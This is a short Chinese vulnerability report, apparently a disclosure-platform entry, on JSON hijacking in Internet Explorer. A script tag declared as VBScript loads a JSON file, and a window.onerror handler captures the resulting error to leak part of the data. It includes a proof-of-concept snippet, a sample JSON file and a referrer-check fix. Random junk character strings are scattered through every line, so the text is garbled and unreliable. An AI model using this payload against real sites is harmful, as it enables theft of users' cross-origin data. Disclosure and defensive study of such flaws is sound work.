简要描述:
4 S8 R1 J: h% t. f: z. w6 Q! N/ a r
由于某些资源容器对数据处理不当导致json劫持漏洞.
! h7 L( g* N$ Z0 T1 v8 ?9 f详细说明:
# }* n% A1 g6 I: N" x' h由于ie支持vbscript,所以script元素可以指定成vbscript语言:* W3 H; f' I+ q- M. f% ?& p- J
<script language=vbscript></script>$ F% T/ O4 E" @$ Q0 ^% E
N3 ?3 w1 `$ X9 Y% b% |! ~3 @$ ]( c
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.9 ~' }$ W, \+ t' O" p# _) g9 g
漏洞证明:* K( K& P7 G( L6 v* i
<script>
! D k% u2 b( Kwindow.onerror=function(_){
9 G1 r0 H( }" i: H# Walert(_)% o+ e! n9 L& r! j: W0 M* c
}4 X3 q8 Y) N. P0 z f2 }7 j' N
</script>
% \+ P9 G' o4 v+ }" K. [% Z5 u<script language=vbscript src=1.json></script>
; u0 g# v0 M3 C. F; q! } 6 h, P$ |3 ?0 D/ ?
# |1 L, q0 w# `) F
1.json:/ [' x: o1 F; @/ L9 U6 ]5 s
[{"name":"sogili","age":19}]# p5 m- m7 B3 J
修复方案:% Z) V0 }/ [' \
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |